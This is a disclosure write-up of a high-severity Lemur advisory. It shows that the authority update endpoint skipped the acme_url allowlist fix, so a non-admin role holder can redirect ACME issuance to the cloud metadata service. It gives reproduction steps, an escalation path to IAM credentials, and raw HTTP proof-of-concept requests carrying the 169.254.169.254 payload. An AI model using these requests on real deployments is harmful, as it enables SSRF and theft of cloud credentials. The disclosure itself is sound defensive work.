# Lemur: Incomplete fix for GHSA-v2wp-frmc-5q3v -- ACME authority update endpoint allows non-admin to replace `acme_url` with internal IP, bypassing allowlist

Lemur's authority PUT endpoint stored acme_url without the allowlist check added at creation, letting an authority-role user point issuance at IMDS for SSRF.

- Payout: Research
- Severity: high
- Program: Lemur
- Found by: geo-chen
- Disclosed: 2026-08-18
- CVE: CVE-2026-71303
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v5rc-cpwc-cfpr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v5rc-cpwc-cfpr
- Tags: area:cloud domain:cloud domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:aws tech:python technique:incomplete-fix vuln:access-control vuln:ssrf

**Target:** PUT /api/1/authorities/<id> options field and ACME client directory fetch
**Root cause:** _validate_acme_url() was only wired into the POST create_authority path; Authorities.put and service.update() persist the options blob verbatim, so a stored acme_url can be replaced post-creation.
**Steps:**
1. Authenticate as a non-admin user holding an authority role: `POST /api/1/auth/login` with `{"username": "alice", "password": "..."}`
2. Confirm no global operator role via `GET /api/1/auth/me` (roles: TestRootCA_operator)
3. Send `PUT /api/1/authorities/1` with body options `[{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]` plus owner/description/active/roles; server returns HTTP 200 and stores it
4. Trigger certificate issuance via that authority so the celery worker runs `ClientV2.get_directory(directory_url, net)` against the stored URL
**How found:** Reviewed the patch for GHSA-v2wp-frmc-5q3v, noticed _validate_acme_url was only invoked in create_authority, then traced the PUT handler and service.update() to confirm options are written unvalidated and later consumed by the ACME handler.
**Exploitation:** Any user granted membership in an ACME authority's role group (normal operational grant) overwrites the stored acme_url with an internal endpoint; the next issuance makes the Lemur backend issue an outbound GET to that URL, reaching IMDS or internal services.
**Escalation:** SSRF to cloud metadata (AWS IMDSv1, GCP, Azure) can yield IAM credentials, extending from internal reachability to cloud account compromise.
**Insight:** When a fix adds a validator, grep every write path to the same field (create vs update vs import vs bulk endpoints) — partial-fix regressions are the norm; here the update endpoint's generic options blob was the unprotected twin of the create path.

## Proof of concept (copied exactly from the original report)

**PUT authority request overwriting acme_url with IMDS**

```
PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "owner": "security@example.com",
  "description": "Let's Encrypt Production",
  "active": true,
  "roles": [{"id": 5}, {"id": 6}, {"id": 7}],
  "options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
```

**Login request as non-admin user**

```
POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json

{"username": "alice", "password": "..."}
```

**Identity check showing only authority role**

```
GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response:
{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}
```

